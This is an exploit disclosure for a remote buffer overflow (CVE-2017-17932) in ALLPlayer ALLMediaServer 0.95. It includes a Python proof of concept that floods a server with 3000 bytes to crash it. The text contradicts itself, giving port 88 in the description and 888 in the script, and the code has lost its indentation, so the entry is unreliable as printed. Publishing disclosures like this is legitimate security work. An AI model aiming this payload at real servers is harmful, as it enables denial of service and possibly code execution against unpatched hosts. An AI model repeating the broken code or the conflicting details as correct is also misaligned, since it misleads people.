ALLPlayer ALLMediaServer 0.95 Buffer Overflow

`# Exploit Title: Buffer overflow in ALLPlayer ALLMediaServer 0.95 and earlier  
# CVE: CVE-2017-17932  
# Date: 27-12-2017  
# Exploit Author: Aloyce J. Makalanga  
# Contact: https://twitter.com/aloycemjr <https://twitter.com/aloycemjr>  
# Vendor Homepage: http://www.allmediaserver.org/ <http://www.allmediaserver.org/>  
# Category: webapps  
# Attack Type: Remote  
# Impact: Code execution and/or Denial of Service  
  
  
  
  
1. Description  
  
A buffer overflow vulnerability exists in MediaServer.exe in ALLPlayer ALLMediaServer 0.95 and earlier that could allow remote attackers to execute arbitrary code and/or cause denial of service on the victim machine/computer via a long string to TCP port 88. Te exploit this vulnerability, an attacker must connect to the server with a long-malicious string.  
  
  
2. Proof of Concept  
  
  
#!/usr/bin/python  
  
#NOTE: I found this bug via patch-diffing and I had IDA Pro set up as my Just-In-Time debugger at the time of the crash but any debugger should work.  
  
def main():  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  
s.connect(('192.168.205.131', 888))  
  
buffer = "A" * 3000  
  
  
s.send(buffer)  
  
s.close()  
  
  
if __name__ == '__main__':  
import socket  
  
main()  
  
  
  
  
  
  
  
  
3. Solution:  
  
No solution as of time of this writing.  
  
`